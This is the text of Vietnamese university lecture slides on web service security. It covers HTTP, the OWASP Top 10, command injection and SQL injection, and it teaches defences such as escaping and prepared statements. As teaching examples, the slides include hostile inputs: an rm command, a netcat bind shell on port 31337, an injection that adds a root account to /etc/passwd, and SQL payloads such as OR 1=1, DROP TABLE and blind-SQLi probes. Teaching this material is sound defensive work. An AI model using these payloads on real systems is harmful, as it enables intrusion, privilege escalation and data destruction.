An ninh mạng - Bài 6: An toàn dịch vụ web sql injection

• Tổng quan về hoạt động của dịch vụ Web

• Tấn công dạng Command Injection

• SQL Injection

• XSS

• CSRF

• Quản lý phiên

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection trang 1

Trang 1

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection trang 2

Trang 2

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection trang 3

Trang 3

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection trang 4

Trang 4

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection trang 5

Trang 5

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection trang 6

Trang 6

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection trang 7

Trang 7

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection trang 8

Trang 8

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection trang 9

Trang 9

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection trang 10

Trang 10

Tải về để xem bản đầy đủ

pdf 21 trang minhkhanh 3280
Bạn đang xem 10 trang mẫu của tài liệu "An ninh mạng - Bài 6: An toàn dịch vụ web sql injection", để tải tài liệu gốc về máy hãy click vào nút Download ở trên

Tóm tắt nội dung tài liệu: An ninh mạng - Bài 6: An toàn dịch vụ web sql injection

An ninh mạng - Bài 6: An toàn dịch vụ web sql injection
1BÀI 6.
AN TOÀN DỊCH VỤ WEB
SQL INJECTION
Bùi Trọng Tùng,
Viện Công nghệ thông tin và Truyền thông,
Đại học Bách khoa Hà Nội
1
Nội dung
• Tổng quan về hoạt động của dịch vụ Web
• Tấn công dạng Command Injection
• SQL Injection
• XSS
• CSRF
• Quản lý phiên
2
CuuDuongThanCong.com https://fb.com/tailieudientucntt
21. TỔNG QUAN VỀ DỊCH VỤ WEB
Bùi Trọng Tùng,
Viện Công nghệ thông tin và Truyền thông,
Đại học Bách khoa Hà Nội
3
World Wide Web
• Ra đời năm 1990
• Hệ thống các siêu văn bản trình bày bằng ngôn ngữ 
HTML được liên kết với nhau
• Cho phép truy cập đến nhiều dạng tài nguyên thông tin 
khác nhau (văn bản, hình ảnh, âm thanh, video...) qua 
URL (Uniform Resource Location) và URI (Uniform 
Resource Identifier)
• Đang được điều hành bởi W3C
• Các công nghệ liên quan: CSS, XML, JavaScrips, Adobe 
Flash, Silverlight...
• Hiện tại đã trở thành nền tảng (Web-based service)
4
CuuDuongThanCong.com https://fb.com/tailieudientucntt
3Giao thức HTTP
• Sử dụng TCP, cổng 80
• Trao đổi thông điệp HTTP 
(giao thức ứng dụng)
HTTP Request
HTTP Response
5
Web clients
Web 
server
IE
Firefox
Navigator
Thông điệp HTTP Request
• Mã ASCII (dễ dàng đọc được dưới dạng văn bản)
6
GET /dccn/index.html HTTP/1.1
Host: www.it-hut.edu.vn 
User-agent: Mozilla/4.0
Connection: close 
Accept-language:en-us 
(extra carriage return, line feed)
request line
(GET, POST, 
HEAD commands)
header
lines
CR, LF 
indicates end 
of message
CuuDuongThanCong.com https://fb.com/tailieudientucntt
4Thông điệp HTTP Response
7
HTTP/1.1 200 OK 
Connection close
Date: Tue, 16 Mar 2008 12:00:15 GMT 
Server: Apache/1.3.0 (Unix) 
Last-Modified: Mon, 15 Mar 2008 ... 
Content-Length: 8990 
Content-Type: text/html
data data data data data ... 
status line
(protocol
status code
status phrase)
header
lines
data, e.g., 
requested
HTML file
Tương tác với web server
• Địa chỉ URL
8
Giao thức Tên miền(sẽ được phân 
giải thành địa chỉ IP)
Đường dẫn tới tài nguyên (nội 
dung tĩnh, thường là file HTML)
CuuDuongThanCong.com https://fb.com/tailieudientucntt
5Tương tác với web server (tiếp)
• Tương tác với các kịch bản được thực thi trên server 
(servlet)
9
Đường dẫn tới servlet, cho phép 
server sinh nội dung trang web tùy 
thuộc các tham số:
CGI: Common Gateway Interface
PHP, JSP, ASP: ngôn ngữ kịch bản 
(scrips)
Các tham số cho quá 
trình sinh nội dung
Kiến trúc chung của các dịch vụ web
10
Người dùng có thể 
tương tác với các tài 
nguyên khác thông 
qua dịch vụ web
subdomain.mysite.com/folder/page?id=5
Database Queries
HTML Page, JS file, CSS file, image, etc.
run code
CuuDuongThanCong.com https://fb.com/tailieudientucntt
6Các nguy cơ đối với dịch vụ web
• Tấn công server từ phía client
Tấn công dạng Injection
File System Traversal
Broken Access Control
11
Các nguy cơ đối với dịch vụ web
• Tấn công từ phía server:
Clickjacking
HistoryProbing
Phishing
12
CuuDuongThanCong.com https://fb.com/tailieudientucntt
7Các nguy cơ đối với dịch vụ web
• Tấn công người dùng khác:
XSS
CSRF
Remote Script Inclusion
13
Top 15 lỗ hổng(2015 White Hat Security)
70
56
47
29 26 24
16 15 11 8 6 6 6 5
0
10
20
30
40
50
60
70
80
14
CuuDuongThanCong.com https://fb.com/tailieudientucntt
82013 OWASP Top10 Project
15
Mã Tên Mô tả
A-1 Injection Cho phép chèn dữ liệu ác tính vào câu lệnh hoặc 
truy vấn
A-2 Authentication 
and Session 
Management
Đánh cắp mật khẩu, khóa, thẻ phiên, hoặc khai 
thác lỗ hổng để giả mạo người dùng
A-3 XSS Ứng dụng Web không kiểm tra mã thực thi nhúng 
vào dữ liệu nhận được và gửi lại mã thực thi này 
cho trình duyệt 
 Các lỗ hổng xuất 
hiện trong quá 
trình triển khai
Để lộ file, thư mục chứa thông tin cấu hình quan 
trọng, phân quyền truy cập không hợp lý
A-8 CSRF Trình duyệt của nạn nhân gửi thông điệp HTTP 
Request một cách ngoài ý muốn khi nạn nhân 
đang ở trạng thái đăng nhập 
2. TẤN CÔNG DẠNG COMMAND 
INJECTION
Bùi Trọng Tùng,
Viện Công nghệ thông tin và Truyền thông,
Đại học Bách khoa Hà Nội
16
CuuDuongThanCong.com https://fb.com/tailieudientucntt
9Command Injection
• Lợi dụng lỗ hổng không kiểm soát giá trị các đối số khi 
thực thi kịch bản (servlet) trên web server
Không phân biệt các ký hiệu điều khiển (ký hiệu phép toán, dấu ; “ 
‘...) trong giá trị của đối số và trong câu lệnh
• Ví dụ: Website chứa servlet cung cấp tính năng tính toán 
biểu thức bất kỳ qua hàm eval()
17
$in = $_GET[‘exp']; 
eval('$ans = ' . $in . ';'); 
Nội dung biểu thức được truyền
qua đối số exp. Ví dụ:
• Servlet thực thi như thế nào nếu truyền đối số như sau:
“10 ; system(‘rm *.*’)”
Command Injection – Ví dụ khác
18
ServerClient
1. 
2. Send page
Ping for FREE
Enter an IP address below:
Ô nhập dữ 
liệu
CuuDuongThanCong.com https://fb.com/tailieudientucntt
10
Command Injection – Ví dụ khác
19
ServerClient
Send output
Ping for FREE
Enter an IP address below:
$t = $_REQUEST[‘ip']; 
$o = shell_exec(‘ping –C 3’ . $t);
echo $o
PHP exec program
Command Injection – Ví dụ khác
20
ServerClient
2. Send page
$t = $_REQUEST[‘ip']; 
$o = shell_exec(‘ping –C 3’ . $t);
echo $o
PHP exec program
CuuDuongThanCong.com https://fb.com/tailieudientucntt
11
Command Injection – Ví dụ khác
21
ServerClient
2. Send page
PHP exec program
$t = $_REQUEST[‘ip']; 
$o = shell_exec(‘ping –C 3’ . $t);
echo $o
127.0.0.1;ls
Command Injection – Ví dụ khác
• Thực thi shell
22
netcat –v –e ‘/bin/bash’ –l –p 31337 
ip=127.0.0.1+%26+netcat+-v+-
e+'/bin/bash'+-l+-p+31337&submit=submit
CuuDuongThanCong.com https://fb.com/tailieudientucntt
12
Command Injection – Ví dụ khác
• Mã PHP để gửi email:
• Chèn mã thực thi khi truyền giá trị cho đối số:
• Hoặc
23
$email = $_POST[“email”]
$subject = $_POST[“subject”]
system(“mail $email –s $subject < /tmp/joinmynetwork”)
email=hacker@hackerhome.net &
subject=foo < /usr/passwd; ls
email=hacker@hackerhome.net&subject=foo; 
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
Phòng chống
• Kiểm tra, chỉ chấp nhận giá trị chứa các ký tự hợp lệ
 Ký tự nào là hợp lệ? Phụ thuộc ngữ cảnh
• Sử dụng dấu ‘\’ đặt trước các ký tự đặc biệt
 Nếu kẻ tấn công chèn trước ký tự ‘\’ ?
• Bỏ qua các ký tự đặc biệt
Nếu kẻ tấn công dùng mã ASCII?
 Luôn có cách vượt qua kiểm tra
• Cách tốt hơn: không sử dụng các hàm có quá nhiều 
quyền thực thi.
Không hiệu quả với SQL Injection
24
CuuDuongThanCong.com https://fb.com/tailieudientucntt
13
SQL Injection
• Mục tiêu: các website sử dụng CSDL ở back-end
• Lỗ hổng SQL Injection: không kiểm soát giá trị đối số 
truyền cho các servlet khi thực hiện các truy vấn CSDL
Web server không phân biệt được các ký tự là của câu truy vấn 
hay của giá trị truyền cho đối số
• Mục đích: sửa đổi hoặc chèn truy vấn con vào các truy 
vấn thông thường để đọc trái phép hoặc thay thế thông 
tin trên trang web
• Lỗ hổng phổ biến nhất trên các website
25
Kịch bản tấn công SQL Injection
26
Victim Server
Victim SQL DB
Attacker
Thực hiện 
câu truy 
vấn nằm 
ngoài dự 
kiến
Trả lại dữ liệu nằm 
ngoài dự kiến
1
2
3
CuuDuongThanCong.com https://fb.com/tailieudientucntt
14
SQL Injection – Ví dụ
• Xem xét đoạn mã PHP sau:
$user = $_POST[‘recipient’]; 
$sql = "SELECT AcctNum FROM Customer WHERE 
Balance < 100 AND Username='$recipient'"; 
$rs = $db->executeQuery($sql);
• Giả sử đối số được truyền như sau “?recipient=Bob” câu 
truy vấn được web server chuyển cho DBMS để thực thi 
như sau:
SELECT AcctNum FROM Customer WHERE Balance < 100 
AND Username=‘Bob’
• Kết quả nào được trả về với truy vấn sau:
SELECT AcctNum FROM Customer WHERE True
27
Phân tích truy vấn trên cây cú pháp
28
SELECT / FROM / WHERE
CustomerAcctNum AND
=<
Balance 100 Username 'Bob'
Kết quả truy vấn: Số tài khoản của tất cả khách hàng có 
số dư dưới 100$ và tên khách hàng là Bob
CuuDuongThanCong.com https://fb.com/tailieudientucntt
15
SQL Injection – Ví dụ (tiếp)
• Xem xét đoạn mã PHP sau:
$recipient = $_GET[‘recipient’]; 
$sql = "SELECT AcctNum FROM Customer WHERE 
Balance < 100 AND Username='$recipient'"; 
$rs = $db->executeQuery($sql);
• Điều gì xảy ra nếu đối số được truyền giá trị làm thay đổi 
ý nghĩa của câu truy vấn
Ví dụ truyền vào một giá trị đặc biệt ‘recipient’ để đọc toàn bộ 
danh sách khách hàng
29
SQL Injection – Ví dụ (tiếp)
• Truyền đối số như sau:
?recipient=anyone’ OR 1 = 1;#
• Câu truy vấn được thực thi:
SELECT AcctNum FROM Customer WHERE Balance < 100 
AND Username=‘anyone’ OR 1 = 1;#’
• Biểu thức điều kiện trở thành
WHERE Balance < 100 AND Username=‘anyone’ OR 1 = 1
luôn trả về giá trị TRUE
30
Dấu # báo hiệu đoạn 
chú thích bỏ qua
CuuDuongThanCong.com https://fb.com/tailieudientucntt
16
Cây cú pháp
31
SELECT / FROM / WHERE
CustomerAcctNum OR
=AND
< = 1 1
Balance 100 Username ‘anyone’
Một số kỹ thuật khai thác SQLi
• Mệnh đề ORDER BY sắp xếp kết quả theo một cột nào 
đó được liệt kê trong mệnh đề SELECT
• Sử dụng mệnh đề ORDER BY cho phép đoán số cột 
được liệt kê trong truy vấn
Nếu STT của cột ≤ số cột liệt kê trong truy vấn: thực hiện thành 
công
Ngược lại trả về thông báo lỗi
32
Thông báo lỗi có thể để lộ thông tin về CSDL!!!
CuuDuongThanCong.com https://fb.com/tailieudientucntt
17
Một số kỹ thuật khai thác SQLi(tiếp)
• Mệnh đề UNION cho phép gộp kết quả của các truy vấn
• Yêu cầu: các mệnh đề SELECT phải có cùng số cột, cùng 
kiểu dữ liệu (hoặc có thể chuyển đổi nếu kiểu dữ liệu 
khác nhau)
• Dùng mệnh đề UNION cho phép:
Xác định số cột trong mệnh đề SELECT
Kiểm tra kiểu dữ liệu
Thực hiện một truy vấn tới bảng khác: trích xuất dữ liệu, đoán tên 
bảng, đoán tên cột
33
Thông báo lỗi có thể để lộ thông tin về CSDL!!!
Một số kỹ thuật khai thác SQLi(tiếp)
• Sử dụng Batched Query (còn được gọi là query stack)
• Lợi dụng khả năng hỗ trợ thực thi nhiều câu truy vấn cùng 
lúc của một số ngôn ngữ và hệ quản trị CSDL
34
Support ASP ASP.NET PHP
MySQL No Yes No
PostgreSQL Yes Yes Yes
MS SQL Yes Yes Yes
Lưu ý: Ngay cả khi ngôn ngữ và hệ quản trị CSDL 
không hỗ trợ, vẫn có thể khai thác bằng mệnh đề 
UNION
CuuDuongThanCong.com https://fb.com/tailieudientucntt
18
Batched Query – Ví dụ
• Truyền đối số như sau:
?recipient=anyone’; DROP TABLE Customer --
• Câu truy vấn được thực thi:
SELECT AcctNum FROM Customer WHERE Balance < 100 
AND Username=‘anyone’; DROP TABLE Customer --’
35
Chèn câu lệnh SQL khác để 
can thiệp sửa đổi CSDL
Thậm chí có thể chèn vào một đoạn mã thực thi 
kịch bản hệ thống (shell code)
Blind SQL Injection
• Trong một số trường hợp, hệ thống không trả lại thông 
báo lỗi khi thực thi câu lệnh SQL
• Để khai thác các lỗi dạng này, có thể sử dụng 2 kỹ thuật:
Boolean based Blind SQLi: sử dụng các câu truy vấn trả về 
True/False
Time-based Blind SQLi: kiểm tra thời gian thực thi câu truy vấn
• Cần mất nhiều thời gian để khai thác lỗi Blind SQLi 
thường sử dụng các công cụ hỗ trợ (Ví dụ: sqlmap)
36
CuuDuongThanCong.com https://fb.com/tailieudientucntt
19
Blind SQL Injection
• Ví dụ 1: Boolean-based Blind SQLi
Để tìm thông tin phiên bản của CSDL, chèn lời gọi hàm 
vào câu truy vấn:
and substring(version(),i,1)=c;#
Thay i là vị trí ký tự cần kiểm tra, c là giá trị cần so sánh
• Time-based Blind SQLi
MySQL: sleep(), benchmark()
MS SQL: waitfor delay
37
Phòng chống SQL Injection
• Thêm ký tự ‘\’ vào trước dấu nháy ‘...’ hoặc “...”
• PHP: addslashes( “ ’ or 1 = 1 -- ”)
Đầu ra: “ \’ or 1=1 -- ”
Hạn chế: tấn công dựa vào mã Unicode của một số ký tự 
đặc biệt
$user = 0x bf 27
addslashes($user)
Đầu ra: 0x bf 5c 27 
• Hàm tốt hơn: mysql_real_escape_string()
38
0x 5c \
0x bf 27 ¿′
0x bf 5c ′
CuuDuongThanCong.com https://fb.com/tailieudientucntt
20
Phòng chống SQL Injection
• Hầu hết các ngôn ngữ lập trình, DBMS hỗ trợ kiểm soát 
các tham số trong câu truy vấn không hiểu lầm giá trị 
tham số và mã thực thi.
• Ví dụ: PHP và MySQL
$dbh = new mysqli();
$stmt = $dbh->prepare(“SELECT AcctNum FROM Customer WHERE 
Balance < 100 AND Username= ?”);
$recipient = $_GET[‘recipient’];
$stmt->bind_param(“s”, $recipient);
$stmt->execute();
• Sử dụng ORM framework
39
s: tham số kiểu xâu ký tự
i: tham số kiểu số nguyên
d: tham số kiểu số thực
Cây cú pháp truy vấn SQL
40
SELECT / FROM / WHERE
CustomerAcctNum AND
=<
Balance 100 Username ?
CuuDuongThanCong.com https://fb.com/tailieudientucntt
21
Cây cú pháp truy vấn SQL
41
SELECT / FROM / WHERE
CustomerAcctNum AND
=<
Balance 100 Username ?
?recipient=anyone’ OR 1 = 1 --
$stmt->bind_param(“s”, $recipient);
anyone’ OR 1 = 1 --
Bài giảng sử dụng một số hình vẽ và ví dụ từ các bài 
giảng:
• Computer and Network Security, Stanford University
• Computer Security, Berkeley University
• Introduction to Computer Security, Carnegie Mellon 
University
42
CuuDuongThanCong.com https://fb.com/tailieudientucntt

File đính kèm:

  • pdfan_ninh_mang_bai_6_an_toan_dich_vu_web_sql_injection.pdf